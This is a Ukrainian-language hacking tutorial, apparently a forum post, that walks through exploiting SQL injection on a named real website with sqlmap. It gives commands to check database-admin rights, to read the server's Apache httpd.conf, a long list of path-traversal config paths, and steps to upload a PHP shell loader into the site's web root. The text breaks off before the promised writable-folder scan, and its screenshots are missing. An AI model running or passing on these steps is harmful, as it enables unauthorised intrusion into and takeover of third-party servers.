Повідомлення про помилки- не повинні розкривати конфіденційну інформацію. Прості повідомлення користувача про помилки, такі як « Вибачте, виникла помилка. Служба підтримки вже повідомлена про неї. Повторіть спробу пізніше», можна використовувати замість відображення запитів SQL, що викликали помилку.

Спойлер: .DZEN

У нас є SQL Injection на сайт, який виглядає так,

Насамперед нам бажано перевірити, чи маємо ми привілеї на запис файлів на атакованому ресурсі, для цього завантажуємо термінал і даємо наступну команду:

http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Тиснемо Enter і починається аналіз нашої SQL Injection, виглядає звіт наступним чином:

Як ви бачите у звіті написано версію Apache, версію MySQL, і версію ОС, встановлену на сервері, все це нам знадобиться надалі, але найголовніше ви бачите, що ми маємо права на запис файлів, це відображається в рядку Current User is DBA: True

Наступним кроком для нас є отримання шляхів для запису нашого шеллу. Шлях до нашого сайту на сервері ми можемо отримати завантаживши файл httpd.conf. Інформацію про місцезнаходження файлу httpd.conf ми отримуємо за допомогою Google, можна пошукати за версією ОС, яка встановлена ​​або за списком найімовірніших шляхів. Загалом не заглиблюватимуся в серфінг по пошукових системах, просто коли з'ясували найбільш ймовірне місце розташування шляху до файлу, то саме час завантажити цей файл до себе на диск, для цього вводимо наступну команду і запитуємо читання файлу на сервері:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Відразу відзначимо, що не завжди вдається знайти цей конфіг-файл з першого разу, тому ви можете використовувати найбільш ймовірні шляхи, якими цей файл може знаходитися:

СПИСОК ВІРОЯТНИХ ШЛЯХІВ ДО ФАЙЛУ КОНФІГУ:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Ми отримуємо звіт від sqlmap у такому вигляді:

Як ви бачите, sqlmap нам сказав, що файл має такий самий розмір, як і файл на сервері, отже ми маємо право на читання цього файлу. Якби прав на читання цього файлу не вистачало, то вилізла б помилка, що файл збережений на нашій машині має інший розмір на відміну від файлу на сервері або файлу на сервері по вказаному нами шляху немає і ніколи не було. Sqlmap зберіг наш файл у файлах звіту, а щоб прочитати його потрібно запустити віконний менеджер. Для запуску віконного менеджера ми відкриваємо ще одне вікно терміналу та вводимо команду:

Далі у менеджері, що відкрився, йдемо по шляху, куди sqlmap склав файл тобто:
/root/.sqlmap/output/sacoor.com
Далі, навівши курсор на файлик, натискаємо кнопку F3 на клавіатурі і читаємо конфіг-файл Apache:

З нашого конфіг-файлу ми бачимо, що наш сайт лежить на сервері наступним шляхом:
/home/sbshop/site/

Тепер, коли ми маємо небагато інформації, можна спробувати залити шелл, для цього вводимо наступну команду:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

Після введення команди sqlmap запитає який тип заливника хочемо використовувати, т.к. у нашому випадку сайт на PHP, то і заливати ми будемо PHP-loader, вибираємо пункт 4 і тиснемо Enter. Далі, sqlmap попросить вибрати нас куди ми заливатимемо наш завантажувач, а т.к. ми вже знаємо шлях до нашого сайту на сервері, то вибираємо пункт 2, натискаємо Enter і вказуємо шлях до сайту:
/home/sbshop/site/

А після цього тиснемо Enter і бачимо наступний звіт:

В даному випадку sqlmap нам каже, що в цю папку ми не маємо прав на запис. Чи не біда, цю проблему досить легко вирішити. Даємо команду на запуск uniscan і чекаємо файли та папки на можливість запису, ось команда.